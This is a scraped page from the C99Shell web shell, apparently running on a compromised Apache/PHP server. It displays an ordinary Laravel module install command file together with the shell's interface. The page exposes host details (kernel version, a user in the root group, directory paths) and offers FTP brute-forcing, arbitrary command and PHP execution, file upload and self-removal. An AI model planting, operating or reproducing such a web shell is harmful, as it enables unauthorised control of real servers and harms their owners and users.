!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/nwidart/laravel-modules/src/Commands/   drwxr-xr-x
Free 28.64 GB of 117.98 GB (24.28%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     InstallCommand.php (3.66 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Nwidart\Modules\Commands;

use 
Illuminate\Console\Command;
use 
Nwidart\Modules\Json;
use 
Nwidart\Modules\Process\Installer;
use 
Symfony\Component\Console\Input\InputArgument;
use 
Symfony\Component\Console\Input\InputOption;

class 
InstallCommand extends Command
{
    
/**
     * The console command name.
     *
     * @var string
     */
    
protected $name 'module:install';

    
/**
     * The console command description.
     *
     * @var string
     */
    
protected $description 'Install the specified module by given package name (vendor/name).';

    
/**
     * Create a new command instance.
     */
    
public function __construct()
    {
        
parent::__construct();
    }

    
/**
     * Execute the console command.
     */
    
public function handle() : int
    
{
        if (
is_null($this->argument('name'))) {
            return 
$this->installFromFile();
        }

        
$this->install(
            
$this->argument('name'),
            
$this->argument('version'),
            
$this->option('type'),
            
$this->option('tree')
        );

        return 
0;
    }

    
/**
     * Install modules from modules.json file.
     */
    
protected function installFromFile() : int
    
{
        if (!
file_exists($path base_path('modules.json'))) {
            
$this->error("File 'modules.json' does not exist in your project root.");

            return 
E_ERROR;
        }

        
$modules Json::make($path);

        
$dependencies $modules->get('require', []);

        foreach (
$dependencies as $module) {
            
$module collect($module);

            
$this->install(
                
$module->get('name'),
                
$module->get('version'),
                
$module->get('type')
            );
        }

        return 
0;
    }

    
/**
     * Install the specified module.
     *
     * @param string $name
     * @param string $version
     * @param string $type
     * @param bool   $tree
     */
    
protected function install($name$version 'dev-master'$type 'composer'$tree false)
    {
        
$installer = new Installer(
            
$name,
            
$version,
            
$type ?: $this->option('type'),
            
$tree ?: $this->option('tree')
        );

        
$installer->setRepository($this->laravel['modules']);

        
$installer->setConsole($this);

        if (
$timeout $this->option('timeout')) {
            
$installer->setTimeout($timeout);
        }

        if (
$path $this->option('path')) {
            
$installer->setPath($path);
        }

        
$installer->run();

        if (!
$this->option('no-update')) {
            
$this->call('module:update', [
                
'module' => $installer->getModuleName(),
            ]);
        }
    }

    
/**
     * Get the console command arguments.
     *
     * @return array
     */
    
protected function getArguments()
    {
        return [
            [
'name'InputArgument::OPTIONAL'The name of module will be installed.'],
            [
'version'InputArgument::OPTIONAL'The version of module will be installed.'],
        ];
    }

    
/**
     * Get the console command options.
     *
     * @return array
     */
    
protected function getOptions()
    {
        return [
            [
'timeout'nullInputOption::VALUE_OPTIONAL'The process timeout.'null],
            [
'path'nullInputOption::VALUE_OPTIONAL'The installation path.'null],
            [
'type'nullInputOption::VALUE_OPTIONAL'The type of installation.'null],
            [
'tree'nullInputOption::VALUE_NONE'Install the module as a git subtree'null],
            [
'no-update'nullInputOption::VALUE_NONE'Disables the automatic update of the dependencies.'null],
        ];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0033 ]--